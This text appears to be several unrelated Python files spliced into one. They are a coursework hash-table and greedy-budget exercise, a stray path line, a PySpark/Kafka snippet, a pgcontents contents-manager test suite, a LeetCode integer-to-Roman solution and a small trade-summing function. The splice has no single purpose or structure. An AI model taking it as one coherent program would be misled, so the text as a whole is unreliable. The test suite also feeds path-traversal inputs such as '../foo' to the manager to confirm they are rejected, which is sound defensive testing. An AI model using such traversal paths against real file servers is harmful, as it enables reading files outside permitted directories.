# W-2_ChainingHashTable_zyBooks_Key-Value_CSV_Greedy.py
# Ref: zyBooks: Figure 7.8.2: Hash table using chaining.
# Ref: zyBooks: 3.3.1: MakeChange greedy algorithm.
'''
Add this file to the project
BestMovies.csv:
-----------------------
ID, Name, Year, Price
1, "CITIZEN KANE", 1941, 25.00
2, "CASABLANCA", 1942, 25.00
3, "THE GODFATHER", 1972, 10.00
4, "GONE WITH THE WIND", 1939, 10.00
5, "LAWRENCE OF ARABIA", 1962, 10.00
6, "THE WIZARD OF OZ", 1939, 10.00
7, "THE GRADUATE", 1967, 5.00
8, "ON THE WATERFRONT", 1954, 5.00
9, "SCHINDLER'S LIST", 1993, 5.00
10, "SINGIN' IN THE RAIN", 1952, 5.00
11, "STAR WARS", 1977, 1.00
-----------------------
'''
import csv
import math

# HashTable class using chaining.
class ChainingHashTable:
    # Constructor with optional initial capacity parameter.
    # Assigns all buckets with an empty list.
    def __init__(self, initial_capacity=10):
        # initialize the hash table with empty bucket list entries.
        self.table = []
        for i in range(initial_capacity):
            self.table.append([])

    # Inserts a new item into the hash table.
    def insert(self, key, item):  # does both insert and update
        # get the bucket list where this item will go.
        bucket = hash(key) % len(self.table)
        bucket_list = self.table[bucket]

        # update key if it is already in the bucket
        for kv in bucket_list:
            # print (key_value)
            if kv[0] == key:
                kv[1] = item
                return True

        # if not, insert the item to the end of the bucket list.
        key_value = [key, item]
        bucket_list.append(key_value)
        return True

    # Searches for an item with matching key in the hash table.
    # Returns the item if found, or None if not found.
    def search(self, key):
        # get the bucket list where this key would be.
        bucket = hash(key) % len(self.table)
        bucket_list = self.table[bucket]
        # print(bucket_list)

        # search for the key in the bucket list
        for kv in bucket_list:
            # print (key_value)
            if kv[0] == key:
                return kv[1]  # value
        return None

    # Removes an item with matching key from the hash table.
    def remove(self, key):
        # get the bucket list where this item will be removed from.
        bucket = hash(key) % len(self.table)
        bucket_list = self.table[bucket]

        # remove the item from the bucket list if it is present.
        for kv in bucket_list:
            # print (key_value)
            if kv[0] == key:
                bucket_list.remove([kv[0], kv[1]])

class Movie:
    def __init__(self, ID, name, year, price, status):
        self.ID = ID
        self.name = name
        self.year = year
        self.price = price
        self.status = status

    def __str__(self):  # overwite print(Movie) otherwise it will print object reference
        return "%s, %s, %s, %s, %s" % (self.ID, self.name, self.year, self.price, self.status)

def loadMovieData(fileName):
    with open(fileName) as bestMovies:
        movieData = csv.reader(bestMovies, delimiter=',')
        next(movieData)  # skip header
        for movie in movieData:
            mID = int(movie[0])
            mName = movie[1]
            mYear = movie[2]
            mPrice = movie[3]
            mStatus = "Loaded"

            # movie object
            m = Movie(mID, mName, mYear, mPrice, mStatus)
            # print(m)

            # insert it into the hash table
            myHash.insert(mID, m)

# Hash table instance
myHash = ChainingHashTable()

# Load movies to Hash Table
loadMovieData('BestMovies.csv')

print("BestMovies from Hashtable:")
# Fetch data from Hash Table
for i in range(len(myHash.table) + 1):
    print("Movie: {}".format(myHash.search(i + 1)))  # 1 to 11 is sent to myHash.search()

# Greedy Algorithm: Min Expenses => Max Profits
def greedyAlgorithmMinExpenses(budget):
    total = budget
    c25dollar = 0
    c10dollar = 0
    c5dollar = 0
    c1dollar = 0
    while (budget >= 25):
        if c25dollar > 3:  # why 3? 0,1,2,3 will not break so 4 times.
            break
        c25dollar += 1
        budget = budget - 25
    while (budget >= 10):
        c10dollar += 1
        budget = budget - 10
    while (budget >= 5):
        c5dollar += 1
        budget = budget - 5
    while (budget > 0):
        if c1dollar > 3:
            break
        c1dollar += 1
        budget = budget - 1

    cDVDs = c25dollar + c10dollar + c5dollar + c1dollar

    # expense calculation
    eDVDs = 1.00 * cDVDs  # Material cost of DVD: $1.00
    eLabor = 12.00 * (math.ceil(cDVDs / 10))  # Labor is $12.00 for every 10 DVDs, $24.00 for 11 DVDs
    eShipping = 0.50 * cDVDs  # Shipping cost is $0.50 per DVD
    eTotal = eDVDs + eLabor + eShipping
    profit = total - eTotal

    print("${:.2f}-Budget, {}-DVDs, ${:.2f}-Expense, ${:.2f}-Profit ==>".format(total, cDVDs, eTotal, profit))
    print(" {} x 25 dollar movie = ${:.2f}".format(c25dollar, c25dollar * 25.00))
    print(" {} x 10 dollar movie = ${:.2f}".format(c10dollar, c10dollar * 10.00))
    print(" {} x 5  dollar movie = ${:.2f}".format(c5dollar, c5dollar * 5.00))
    print(" {} x 1  dollar movie = ${:.2f}".format(c1dollar, c1dollar * 1.00))

print("\nGreedy Algorithm: Min Expenses => Max Profits")
greedyAlgorithmMinExpenses(102)  # $102.00 budget
greedyAlgorithmMinExpenses(94)  # $94.00 budget
greedyAlgorithmMinExpenses(71)  # $71.00 budget
greedyAlgorithmMinExpenses(200)  # $200.00 budget

C950 Data Structures and Algorithms II/C950 Performance Assessment/greedy_ex.py


# logging.basicConfig(level=logging.DEBUG)

from pyspark import SparkContext

from big_data_kafka.kafka_producer import produce, get_producer

def push_likes_counts_to_kafka(fb_likes):
    producer = get_producer('likes-counts')
    producer.start()
    for fb_like in fb_likes:
        print('FB like:')
        print(fb_like)
        produce(producer, fb_like)
    # produce_messages(producer, fb_likes)
    producer.stop()

if __name__ == "__main__":
    sc = SparkContext(appName='PythonStreamingDirectKafkaWordCount')

    count = sc.textFile("hdfs://spark-vm01:9000/likes/part-*").count()
    print("Total count:")
    print(count)


from __future__ import unicode_literals

from base64 import b64encode
from cryptography.fernet import Fernet
from itertools import combinations

from notebook.services.contents.tests.test_manager import TestContentsManager

from pgcontents.pgmanager import PostgresContentsManager
from .utils import (
    assertRaisesHTTPError,
    clear_test_db,
    make_fernet,
    _norm_unicode,
    TEST_DB_URL,
    remigrate_test_schema,
)
from ..crypto import FernetEncryption
from ..utils.sync import walk_files_with_content

setup_module = remigrate_test_schema

class PostgresContentsManagerTestCase(TestContentsManager):

    @classmethod
    def tearDownClass(cls):
        # Override the superclass teardown.
        pass

    def setUp(self):
        self.crypto = make_fernet()
        self.contents_manager = PostgresContentsManager(
            user_id='test',
            db_url=TEST_DB_URL,
            crypto=self.crypto,
        )
        self.contents_manager.ensure_user()
        self.contents_manager.ensure_root_directory()

        # We need to dispose of any engines created during tests or else the
        # engine's QueuePool will leak connections even once this suite has
        # finished running. Then as other test suites start to run, the number
        # of connections will eventually creep up to the maximum number that
        # postgres allows. For reference, see the SQLAlchemy docs here:
        # https://docs.sqlalchemy.org/en/13/core/connections.html#engine-disposal
        #
        # This pattern should be repeated in any test class that creates a
        # PostgresContentsManager or a PostgresCheckpoints object (note that
        # even though the checkpoints manager lives on the contents manager it
        # still creates its own engine). An alternative solution to calling
        # dispose here would be to have these classes create engines with a
        # NullPool when testing, but that 1) adds more latency, and 2) adds
        # test-specific behavior to the classes themselves.
        self.addCleanup(self.contents_manager.engine.dispose)
        self.addCleanup(self.contents_manager.checkpoints.engine.dispose)

    def tearDown(self):
        clear_test_db()

    def set_pgmgr_attribute(self, name, value):
        """
        Overridable method for setting attributes on our pgmanager.

        This exists so that we can re-use the tests here in
        test_hybrid_manager.
        """
        setattr(self.contents_manager, name, value)

    def make_dir(self, api_path):
        self.contents_manager.new(
            model={'type': 'directory'},
            path=api_path,
        )

    def make_populated_dir(self, api_path):
        """
        Create a directory at api_path with a notebook and a text file.
        """
        self.make_dir(api_path)
        self.contents_manager.new(
            path='/'.join([api_path, 'nb.ipynb'])
        )
        self.contents_manager.new(
            path='/'.join([api_path, 'file.txt'])
        )

    def check_populated_dir_files(self, api_path):
        """
        Check that a directory created with make_populated_dir has a
        notebook and a text file with expected names.
        """
        dirmodel = self.contents_manager.get(api_path)
        self.assertEqual(dirmodel['path'], api_path)
        self.assertEqual(dirmodel['type'], 'directory')
        for entry in dirmodel['content']:
            # Skip any subdirectories created after the fact.
            if entry['type'] == 'directory':
                continue
            elif entry['type'] == 'file':
                self.assertEqual(entry['name'], 'file.txt')
                self.assertEqual(
                    entry['path'],
                    '/'.join([api_path, 'file.txt']),
                )
            elif entry['type'] == 'notebook':
                self.assertEqual(entry['name'], 'nb.ipynb')
                self.assertEqual(
                    entry['path'],
                    '/'.join([api_path, 'nb.ipynb']),
                )

    def test_walk_files_with_content(self):
        all_dirs = ['foo', 'bar', 'foo/bar', 'foo/bar/foo', 'foo/bar/foo/bar']
        for dir in all_dirs:
            self.make_populated_dir(dir)

        expected_file_paths = [
            u'bar/file.txt',
            u'bar/nb.ipynb',
            u'foo/file.txt',
            u'foo/nb.ipynb',
            u'foo/bar/file.txt',
            u'foo/bar/nb.ipynb',
            u'foo/bar/foo/file.txt',
            u'foo/bar/foo/nb.ipynb',
            u'foo/bar/foo/bar/file.txt',
            u'foo/bar/foo/bar/nb.ipynb',
        ]

        cm = self.contents_manager

        filepaths = []
        for file in walk_files_with_content(cm):
            self.assertEqual(
                file,
                cm.get(file['path'], content=True)
            )
            filepaths.append(_norm_unicode(file['path']))

        self.assertEqual(
            filepaths.sort(),
            expected_file_paths.sort()
        )

    def test_modified_date(self):

        cm = self.contents_manager

        # Create a new notebook.
        nb, name, path = self.new_notebook()
        model = cm.get(path)

        # Add a cell and save.
        self.add_code_cell(model['content'])
        cm.save(model, path)

        # Reload notebook and verify that last_modified incremented.
        saved = cm.get(path)
        self.assertGreater(saved['last_modified'], model['last_modified'])

        # Move the notebook and verify that last_modified incremented.
        new_path = 'renamed.ipynb'
        cm.rename(path, new_path)
        renamed = cm.get(new_path)
        self.assertGreater(renamed['last_modified'], saved['last_modified'])

    def test_get_file_id(self):
        cm = self.contents_manager

        # Create a new notebook.
        nb, name, path = self.new_notebook()
        model = cm.get(path)

        # Make sure we can get the id and it's not none.
        id_ = cm.get_file_id(path)
        self.assertIsNotNone(id_)

        # Make sure the id stays the same after we edit and save.
        self.add_code_cell(model['content'])
        cm.save(model, path)
        self.assertEqual(id_, cm.get_file_id(path))

        # Make sure the id stays the same after a rename.
        updated_path = "updated_name.ipynb"
        cm.rename(path, updated_path)
        self.assertEqual(id_, cm.get_file_id(updated_path))

    def test_rename_file(self):
        cm = self.contents_manager
        nb, nb_name, nb_path = self.new_notebook()
        assert nb_name == 'Untitled.ipynb'

        # A simple rename of the file within the same directory.
        cm.rename(nb_path, 'new_name.ipynb')
        assert cm.get('new_name.ipynb')['path'] == 'new_name.ipynb'

        # The old file name should no longer be found.
        with assertRaisesHTTPError(self, 404):
            cm.get(nb_name)

        # Test that renaming outside of the root fails.
        with assertRaisesHTTPError(self, 404):
            cm.rename('../foo', '../bar')

        # Test that renaming something to itself fails.
        with assertRaisesHTTPError(self, 409):
            cm.rename('new_name.ipynb', 'new_name.ipynb')

        # Test that renaming a non-existent file fails.
        with assertRaisesHTTPError(self, 404):
            cm.rename('non_existent.ipynb', 'some_name.ipynb')

        # Now test moving a file.
        self.make_dir('My Folder')
        nb_destination = 'My Folder/new_name.ipynb'
        cm.rename('new_name.ipynb', nb_destination)

        updated_notebook_model = cm.get(nb_destination)
        assert updated_notebook_model['name'] == 'new_name.ipynb'
        assert updated_notebook_model['path'] == nb_destination

        # The old file name should no longer be found.
        with assertRaisesHTTPError(self, 404):
            cm.get('new_name.ipynb')

    def test_rename_directory(self):
        """
        Create a directory hierarchy that looks like:

        foo/
          ...
          bar/
            ...
            foo/
              ...
              bar/
                ...
        bar/

        then rename /foo/bar -> /foo/bar_changed and verify that all changes
        propagate correctly.
        """
        cm = self.contents_manager

        all_dirs = ['foo', 'bar', 'foo/bar', 'foo/bar/foo', 'foo/bar/foo/bar']
        unchanged_dirs = all_dirs[:2]
        changed_dirs = all_dirs[2:]

        for dir_ in all_dirs:
            self.make_populated_dir(dir_)
            self.check_populated_dir_files(dir_)

        # Renaming to an extant directory should raise
        for src, dest in combinations(all_dirs, 2):
            with assertRaisesHTTPError(self, 409):
                cm.rename(src, dest)

        # Renaming the root directory should raise
        with assertRaisesHTTPError(self, 409):
            cm.rename('', 'baz')

        # Verify that we can't create a new notebook in the (nonexistent)
        # target directory
        with assertRaisesHTTPError(self, 404):
            cm.new_untitled('foo/bar_changed', ext='.ipynb')

        cm.rename('foo/bar', 'foo/bar_changed')

        # foo/ and bar/ should be unchanged
        for unchanged in unchanged_dirs:
            self.check_populated_dir_files(unchanged)

        # foo/bar/ and subdirectories should have leading prefixes changed
        for changed_dirname in changed_dirs:
            with assertRaisesHTTPError(self, 404):
                cm.get(changed_dirname)
            new_dirname = changed_dirname.replace(
                'foo/bar', 'foo/bar_changed', 1
            )
            self.check_populated_dir_files(new_dirname)

        # Verify that we can now create a new notebook in the changed directory
        cm.new_untitled('foo/bar_changed', ext='.ipynb')

    def test_move_empty_directory(self):
        cm = self.contents_manager

        self.make_dir('Parent Folder')
        self.make_dir('Child Folder')

        # A rename moving one folder into the other.
        child_folder_destination = 'Parent Folder/Child Folder'
        cm.rename('Child Folder', child_folder_destination)

        updated_parent_model = cm.get('Parent Folder')
        assert updated_parent_model['path'] == 'Parent Folder'
        assert len(updated_parent_model['content']) == 1

        with assertRaisesHTTPError(self, 404):
            # Should raise a 404 because the contents manager should not be
            # able to find a folder with this path.
            cm.get('Child Folder')

        # Confirm that the child folder has moved into the parent folder.
        updated_child_model = cm.get(child_folder_destination)
        assert updated_child_model['name'] == 'Child Folder'
        assert updated_child_model['path'] == child_folder_destination

        # Test moving it back up.
        cm.rename('Parent Folder/Child Folder', 'Child Folder')

        updated_parent_model = cm.get('Parent Folder')
        assert len(updated_parent_model['content']) == 0

        with assertRaisesHTTPError(self, 404):
            cm.get('Parent Folder/Child Folder')

        updated_child_model = cm.get('Child Folder')
        assert updated_child_model['name'] == 'Child Folder'
        assert updated_child_model['path'] == 'Child Folder'

    def test_move_populated_directory(self):
        cm = self.contents_manager

        all_dirs = [
            'foo', 'foo/bar', 'foo/bar/populated_dir',
            'biz', 'biz/buz',
        ]

        for dir_ in all_dirs:
            if dir_ == 'foo/bar/populated_dir':
                self.make_populated_dir(dir_)
                self.check_populated_dir_files(dir_)
            else:
                self.make_dir(dir_)

        # Move the populated directory over to "biz".
        cm.rename('foo/bar/populated_dir', 'biz/populated_dir')

        bar_model = cm.get('foo/bar')
        assert len(bar_model['content']) == 0

        biz_model = cm.get('biz')
        assert len(biz_model['content']) == 2

        with assertRaisesHTTPError(self, 404):
            cm.get('foo/bar/populated_dir')

        populated_dir_model = cm.get('biz/populated_dir')
        assert populated_dir_model['name'] == 'populated_dir'
        assert populated_dir_model['path'] == 'biz/populated_dir'
        self.check_populated_dir_files('biz/populated_dir')

        # Test moving a directory with sub-directories and files that go
        # multiple layers deep.
        self.make_populated_dir('biz/populated_dir/populated_sub_dir')
        self.make_dir('biz/populated_dir/populated_sub_dir/empty_dir')
        cm.rename('biz/populated_dir', 'populated_dir')

        populated_dir_model = cm.get('populated_dir')
        assert populated_dir_model['name'] == 'populated_dir'
        assert populated_dir_model['path'] == 'populated_dir'
        self.check_populated_dir_files('populated_dir')
        self.check_populated_dir_files('populated_dir/populated_sub_dir')

        empty_dir_model = cm.get('populated_dir/populated_sub_dir/empty_dir')
        assert empty_dir_model['name'] == 'empty_dir'
        assert (
            empty_dir_model['path'] ==
            'populated_dir/populated_sub_dir/empty_dir'
        )
        assert len(empty_dir_model['content']) == 0

    def test_max_file_size(self):

        cm = self.contents_manager
        max_size = 120
        self.set_pgmgr_attribute('max_file_size_bytes', max_size)

        def size_in_db(s):
            return len(self.crypto.encrypt(b64encode(s.encode('utf-8'))))

        # max_file_size_bytes should be based on the size in the database, not
        # the size of the input.
        good = 'a' * 10
        self.assertEqual(size_in_db(good), max_size)
        cm.save(
            model={
                'content': good,
                'format': 'text',
                'type': 'file',
            },
            path='good.txt',
        )
        result = cm.get('good.txt')
        self.assertEqual(result['content'], good)

        bad = 'a' * 30
        self.assertGreater(size_in_db(bad), max_size)
        with assertRaisesHTTPError(self, 413):
            cm.save(
                model={
                    'content': bad,
                    'format': 'text',
                    'type': 'file',
                },
                path='bad.txt',
            )

    def test_changing_crypto_disables_ability_to_read(self):
        cm = self.contents_manager

        _, _, nb_path = self.new_notebook()
        nb_model = cm.get(nb_path)

        file_path = 'file.txt'
        cm.save(
            model={
                'content': 'not encrypted',
                'format': 'text',
                'type': 'file',
            },
            path=file_path,
        )
        file_model = cm.get(file_path)

        alt_key = b64encode(b'fizzbuzz' * 4)
        self.set_pgmgr_attribute('crypto', FernetEncryption(Fernet(alt_key)))

        with assertRaisesHTTPError(self, 500):
            cm.get(nb_path)

        with assertRaisesHTTPError(self, 500):
            cm.get(file_path)

        # Restore the original crypto instance and verify that we can still
        # decrypt.
        self.set_pgmgr_attribute('crypto', self.crypto)

        decrypted_nb_model = cm.get(nb_path)
        self.assertEqual(nb_model, decrypted_nb_model)

        decrypted_file_model = cm.get(file_path)
        self.assertEqual(file_model, decrypted_file_model)

    def test_relative_paths(self):
        cm = self.contents_manager

        nb, name, path = self.new_notebook()
        self.assertEqual(cm.get(path), cm.get('/a/../' + path))
        self.assertEqual(cm.get(path), cm.get('/a/../b/c/../../' + path))

        with assertRaisesHTTPError(self, 404):
            cm.get('..')
        with assertRaisesHTTPError(self, 404):
            cm.get('foo/../../../bar')
        with assertRaisesHTTPError(self, 404):
            cm.delete('../foo')
        with assertRaisesHTTPError(self, 404):
            cm.rename('../foo', '../bar')
        with assertRaisesHTTPError(self, 404):
            cm.save(model={
                'type': 'file',
                'content': u'',
                'format': 'text',
            }, path='../foo')

# This needs to be removed or else we'll run the main IPython tests as well.
del TestContentsManager


### chan 2020/1/10
### problem：https://leetcode-cn.com/problems/integer-to-roman/

### version one
def inToRoman(num):

    ## 罗马字母的特殊规则可以看做是新的字符，即将CD等看作是一个整体。
    roman = ["M","CM","D","CD","C","XC","L","XL","X","IX","V","IV","I"]
    values = [1000,900,500,400,100,90,50,40,10,9,5,4,1]

    rString = ''
    i = 0
    while i < len(values) :
        if (num-values[i]) >= 0 :
            rString = rString + roman[i]
            num = num - values[i]
        else :
            i += 1
    return rString

if __name__ == "__main__":
    print(inToRoman(1994))


def trades(lis):
    lst1 = []
    for i in lis:
        j = i.split('|')
        lst1.append(int(j[0]) * int(j[1]))
    lst1.sort()
    largest_trades = sum(lst1[-3:])
    smallest_trades = sum(lst1[:2])
    return str(largest_trades) + '|' + str(smallest_trades)

print(trades(['25100|1107', '24593|1916', '24560|7369', '24974|2120', '24832|3239']))